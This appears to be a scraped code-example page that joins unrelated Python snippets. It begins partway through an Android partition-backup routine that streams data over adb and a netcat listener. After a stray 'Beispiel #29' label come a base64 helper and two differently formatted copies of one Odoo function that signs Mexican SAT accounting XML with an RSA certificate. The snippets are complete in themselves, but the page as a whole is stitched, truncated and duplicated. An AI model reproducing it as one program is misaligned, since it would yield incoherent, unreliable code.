        block_iter = iter(lambda: b64dec(b''.join(child.stdout.readlines(65536))), b'')
    elif transport == adbxp.pipe_xo:
        # use adb exec-out, which is
        # (a) only available with newer versions of adb on the host, and
        # (b) only works with newer versions of TWRP (works with 2.8.0 for @kerlerm)
        # https://plus.google.com/110558071969009568835/posts/Ar3FdhknHo3
        # https://android.googlesource.com/platform/system/core/+/5d9d434efadf1c535c7fea634d5306e18c68ef1f/adb/commandline.c#1244
        child = adb.pipe_out(('exec-out',cmdline))
        block_iter = iter(lambda: child.stdout.read(65536), b'')
    else:
        port = really_forward(adb, 5600+pi.partn, 5700+pi.partn)
        if not port:
            raise RuntimeError('%s: could not ADB-forward a TCP port')
        child = adb.pipe_out(('shell',cmdline + '| nc -l -p%d -w3'%port))

        # FIXME: need a better way to check that socket is ready to transmit
        time.sleep(1)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('localhost', port))
        block_iter = iter(lambda: s.recv(65536), b'')

    pbwidgets = ['  %s: ' % bp.fn, Percentage(), ' ', ETA(), ' ', FileTransferSpeed(), ' ', DataSize() ]
    pbar = ProgressBar(max_value=pi.size*512, widgets=pbwidgets).start()

    with open(bp.fn, 'wb') as out:
        for block in block_iter:
            out.write(block)
            if verify:
                localmd5.update(block)
            pbar.update(out.tell())
        else:
            pbar.max_value = out.tell() or pbar.max_value # need to adjust for the smaller compressed size
            pbar.finish()

    if verify:
        devicemd5 = adb.check_output(('shell','cat /tmp/md5out && rm -f /tmp/md5in /tmp/md5out')).strip().split()[0]
        localmd5 = localmd5.hexdigest()
        if devicemd5 != localmd5:
            raise RuntimeError("md5sum mismatch (local %s, device %s)" % (localmd5, devicemd5))
        with open(bp.fn+'.md5', 'w') as md5out:
            print('%s *%s' % (localmd5, bp.fn), file=md5out)

    child.wait()
    if transport==adbxp.tcp:
        s.close()
        if not really_unforward(adb, port):
            raise RuntimeError('could not remove ADB-forward for TCP port %d' % port)
Beispiel #29
0
def getb64(request, param):
    v = request.get(param)
    (v, l) = ascii.encode(v)
    return b64dec(v)
 def do_stamp(self, cr, uid, ids, context):
     if context is None:
         context = {}
     form = self.browse(cr, uid, ids)[0]
     stamp_res = 'stamp_done'
     xslt_path = self._find_file_in_addons('asti_eaccounting_mx_base/sat_xslt', form.xml_target + '.xslt')
     try:
         xslt_file = open(xslt_path, 'r')
     except:
         raise osv.except_osv('Hoja XSLT no encontrada', u'La hoja de transformaci\xf3n no fue encontrada en la ruta "%s"' % xslt_path)
     xsltTree = et.parse(xslt_file)
     xsltTree.find('{http://www.w3.org/1999/XSL/Transform}output').attrib['omit-xml-declaration'] = 'yes'
     try:
         xslt = et.XSLT(xsltTree)
     except et.XSLTParseError:
         xsltTree.find('{http://www.w3.org/1999/XSL/Transform}include').attrib['href'] = xslt_path.replace(form.xml_target, 'utils')
         try:
             xslt = et.XSLT(xsltTree)
             stamp_res = 'stamp_xcpt'
         except:
             xslt = None
     if xslt is None:
         raise osv.except_osv('Error al cargar la hoja XSLT', 'Por favor intente sellar de nuevo el documento.')
     xmlTree = et.ElementTree(et.fromstring(b64dec(form.primary_file)))
     transformedDocument = str(xslt(xmlTree))
     user = self.pool.get('res.users').browse(cr, uid, uid)
     ##########
     certificate_obj = self.pool.get('res.company.facturae.certificate')
     certificate_ids = certificate_obj.search(cr, uid, [
             ('company_id', '=', user.company_id.id),
             ('date_start', '<=', time.strftime('%Y-%m-%d')),
             ('date_end', '>=', time.strftime('%Y-%m-%d')),
             ('active', '=', True),
         ], limit=1)
     certificate_id = certificate_ids and certificate_ids[0] or False
     if not certificate_id:
         raise osv.except_osv(u'Informaci\xf3n faltante', u'No se ha encontrado una configuraci\xf3n de certificados disponible para la compa\xf1\xeda %s' % user.company_id.name)
     #########
     #allConfiguredCerts = user.company_id._get_current_certificate(cr, uid, [user.company_id.id], context=ctx)
     #allConfiguredCerts = user.company_id.certificate_id.id
     #print "allConfiguredCerts: ", allConfiguredCerts
     #if user.company_id.id not in allConfiguredCerts.keys() or not allConfiguredCerts[user.company_id.id]:
     #    raise osv.except_osv(u'Informaci\xf3n faltante', u'No se ha encontrado una configuraci\xf3n de certificados disponible para la compa\xf1\xeda %s' % user.company_id.name)
     #eCert = self.pool.get('res.company.facturae.certificate').browse(cr, uid, [allConfiguredCerts[user.company_id.id]])[0]        
     ##########
     eCert = self.pool.get('res.company.facturae.certificate').browse(cr, uid, [certificate_id])[0]
     ##########
     if not eCert.certificate_key_file_pem:
         raise osv.except_osv(u'Informaci\xf3n faltante', 'Se necesita una clave en formato PEM para poder sellar el documento')
     crypter = RSA.load_key_string(b64dec(eCert.certificate_key_file_pem))
     algrthm = MessageDigest('sha1')
     algrthm.update(transformedDocument)
     rawStamp = crypter.sign(algrthm.digest(), 'sha1')
     certHexNum = X509.load_cert_string(b64dec(eCert.certificate_file_pem), X509.FORMAT_PEM).get_serial_number()
     certNum = ('%x' % certHexNum).replace('33', 'B').replace('3', '')
     cert = ''.join([ ln for ln in b64dec(eCert.certificate_file_pem).split('\n') if 'CERTIFICATE' not in ln ])
     target = '{'
     if form.xml_target == 'accounts_catalog':
         target += self._ACCOUNTS_CATALOG_URI + '}Catalogo'
     elif form.xml_target == 'trial_balance':
         target += self._TRIAL_BALANCE_URI + '}Balanza'
     xmlTree.getroot().attrib['Sello'] = b64enc(rawStamp)
     xmlTree.getroot().attrib['noCertificado'] = certNum
     xmlTree.getroot().attrib['Certificado'] = cert
     validationResult = self._validate_xml(cr, uid, form.xml_target + '.xsd', xmlTree, form.filename)
     if isinstance(validationResult, dict):
         return validationResult
     self.write(cr, uid, ids, {'state': stamp_res,
      'stamped_file': b64enc(self._outputXml(xmlTree))})
     return self._reopen_wizard(ids[0])
 def do_stamp(self, cr, uid, ids, context):
     if context is None:
         context = {}
     form = self.browse(cr, uid, ids)[0]
     stamp_res = "stamp_done"
     xslt_path = self._find_file_in_addons("asti_eaccounting_mx_base/sat_xslt", form.xml_target + ".xslt")
     try:
         xslt_file = open(xslt_path, "r")
     except:
         raise osv.except_osv(
             "Hoja XSLT no encontrada", u'La hoja de transformaci\xf3n no fue encontrada en la ruta "%s"' % xslt_path
         )
     xsltTree = et.parse(xslt_file)
     xsltTree.find("{http://www.w3.org/1999/XSL/Transform}output").attrib["omit-xml-declaration"] = "yes"
     try:
         xslt = et.XSLT(xsltTree)
     except et.XSLTParseError:
         xsltTree.find("{http://www.w3.org/1999/XSL/Transform}include").attrib["href"] = xslt_path.replace(
             form.xml_target, "utils"
         )
         try:
             xslt = et.XSLT(xsltTree)
             stamp_res = "stamp_xcpt"
         except:
             xslt = None
     if xslt is None:
         raise osv.except_osv("Error al cargar la hoja XSLT", "Por favor intente sellar de nuevo el documento.")
     xmlTree = et.ElementTree(et.fromstring(b64dec(form.primary_file)))
     transformedDocument = str(xslt(xmlTree))
     user = self.pool.get("res.users").browse(cr, uid, uid)
     ##########
     certificate_obj = self.pool.get("res.company.facturae.certificate")
     certificate_ids = certificate_obj.search(
         cr,
         uid,
         [
             ("company_id", "=", user.company_id.id),
             ("date_start", "<=", time.strftime("%Y-%m-%d")),
             ("date_end", ">=", time.strftime("%Y-%m-%d")),
             ("active", "=", True),
         ],
         limit=1,
     )
     certificate_id = certificate_ids and certificate_ids[0] or False
     if not certificate_id:
         raise osv.except_osv(
             u"Informaci\xf3n faltante",
             u"No se ha encontrado una configuraci\xf3n de certificados disponible para la compa\xf1\xeda %s"
             % user.company_id.name,
         )
     #########
     # allConfiguredCerts = user.company_id._get_current_certificate(cr, uid, [user.company_id.id], context=ctx)
     # allConfiguredCerts = user.company_id.certificate_id.id
     # print "allConfiguredCerts: ", allConfiguredCerts
     # if user.company_id.id not in allConfiguredCerts.keys() or not allConfiguredCerts[user.company_id.id]:
     #    raise osv.except_osv(u'Informaci\xf3n faltante', u'No se ha encontrado una configuraci\xf3n de certificados disponible para la compa\xf1\xeda %s' % user.company_id.name)
     # eCert = self.pool.get('res.company.facturae.certificate').browse(cr, uid, [allConfiguredCerts[user.company_id.id]])[0]
     ##########
     eCert = self.pool.get("res.company.facturae.certificate").browse(cr, uid, [certificate_id])[0]
     ##########
     if not eCert.certificate_key_file_pem:
         raise osv.except_osv(
             u"Informaci\xf3n faltante", "Se necesita una clave en formato PEM para poder sellar el documento"
         )
     crypter = RSA.load_key_string(b64dec(eCert.certificate_key_file_pem))
     algrthm = MessageDigest("sha1")
     algrthm.update(transformedDocument)
     rawStamp = crypter.sign(algrthm.digest(), "sha1")
     certHexNum = X509.load_cert_string(b64dec(eCert.certificate_file_pem), X509.FORMAT_PEM).get_serial_number()
     certNum = ("%x" % certHexNum).replace("33", "B").replace("3", "")
     cert = "".join([ln for ln in b64dec(eCert.certificate_file_pem).split("\n") if "CERTIFICATE" not in ln])
     target = "{"
     if form.xml_target == "accounts_catalog":
         target += self._ACCOUNTS_CATALOG_URI + "}Catalogo"
     elif form.xml_target == "trial_balance":
         target += self._TRIAL_BALANCE_URI + "}Balanza"
     xmlTree.getroot().attrib["Sello"] = b64enc(rawStamp)
     xmlTree.getroot().attrib["noCertificado"] = certNum
     xmlTree.getroot().attrib["Certificado"] = cert
     validationResult = self._validate_xml(cr, uid, form.xml_target + ".xsd", xmlTree, form.filename)
     if isinstance(validationResult, dict):
         return validationResult
     self.write(cr, uid, ids, {"state": stamp_res, "stamped_file": b64enc(self._outputXml(xmlTree))})
     return self._reopen_wizard(ids[0])